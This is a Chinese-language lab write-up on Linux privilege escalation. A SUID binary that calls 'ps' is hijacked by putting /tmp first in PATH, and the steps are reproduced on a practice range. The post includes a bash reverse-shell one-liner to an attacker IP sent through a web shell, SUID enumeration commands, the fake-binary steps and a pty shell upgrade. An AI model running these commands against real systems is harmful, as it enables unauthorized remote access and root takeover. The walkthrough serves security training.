环境变量提权

环境变量提权

借鉴文章LINUX提权之环境变量提权篇 - 知乎 (zhihu.com)

利用条件

存在一个文件,利用su权限执行,普通用户可以执行此文件,但只限制在一个目录下可以执行

利用方式

将此文件的目录添加到环境变量中

export PATH=/tmp:$PATH

echo $PATH 命令可以查看环境变量

漏洞复现

这里借用红日7靶场进行复现

这里已经进入一台linux主机

find / -perm -u=s -type f 2>/dev/null

从根目录查找具有root权限的二进制执行文件

环境变量提权_第1张图片

没有找到可以进行suid提权的命令

但是发现了/home/jobs/shell

瞅一眼

环境变量提权_第2张图片

运行后创建了一个shell进程 (cmd表示执行的命令根据sh可知)

基于此推测使用环境变量提权的方式进行

考虑采用kali终端会更方便,用蚁剑命令执行反弹shell到kali中(这里需要使用蚁剑的代码执行插件)

环境变量提权_第3张图片

system('bash -c "bash -i >& /dev/tcp/192.168.52.128/3333 0>&1" ');

可能第一次无法反弹上去,需要多几次

然后在kali依次输入一下命令

cd /tmp #进入临时目录
echo "/bin/bash" > ps #写入bash命令放入ps文件
chmod 777 ps #给此文件赋予权限
echo $PATH  #查看环境变量
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell 
# 然后就获得了root权限,可以执行命令了

环境变量提权_第4张图片

使用

python -c 'import pty;pty.spawn("/bin/bash");'

进入交互式终端

python -c 'import pty;pty.spawn("/bin/bash");'

进入交互式终端

环境变量提权_第5张图片

你可能感兴趣的:(linux,权限提升,linux,权限提升)